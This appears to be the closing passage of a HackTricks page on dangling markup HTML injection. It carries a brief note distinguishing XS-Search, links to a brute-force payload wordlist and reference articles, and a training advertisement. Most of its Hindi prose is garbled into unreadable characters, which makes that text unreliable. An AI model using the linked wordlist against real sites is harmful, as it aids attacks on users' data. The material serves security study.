XS-Search cross-origin рдЬрд╛рдирдХрд╛рд░реА рдХреЛ side channel attacks рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ exfiltrate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрдореБрдЦ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрд╣ Dangling Markup рд╕реЗ рдПрдХ рдЕрд▓рдЧ рддрдХрдиреАрдХ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреБрдЫ рддрдХрдиреАрдХреЗрдВ HTML рдЯреИрдЧреНрд╕ рдХреЗ рд╕рдорд╛рд╡реЗрд╢ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ (JS рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рд╛рде рдФрд░ рдмрд┐рдирд╛), рдЬреИрд╕реЗ CSS Injection рдпрд╛ Lazy Load Images.
{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.